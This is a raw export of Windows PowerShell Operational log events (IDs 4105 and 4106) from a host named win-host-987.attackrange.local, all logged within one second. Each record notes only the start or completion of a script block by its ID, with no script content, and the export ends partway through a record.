09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039931
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039925
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039903
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039901
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039900
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
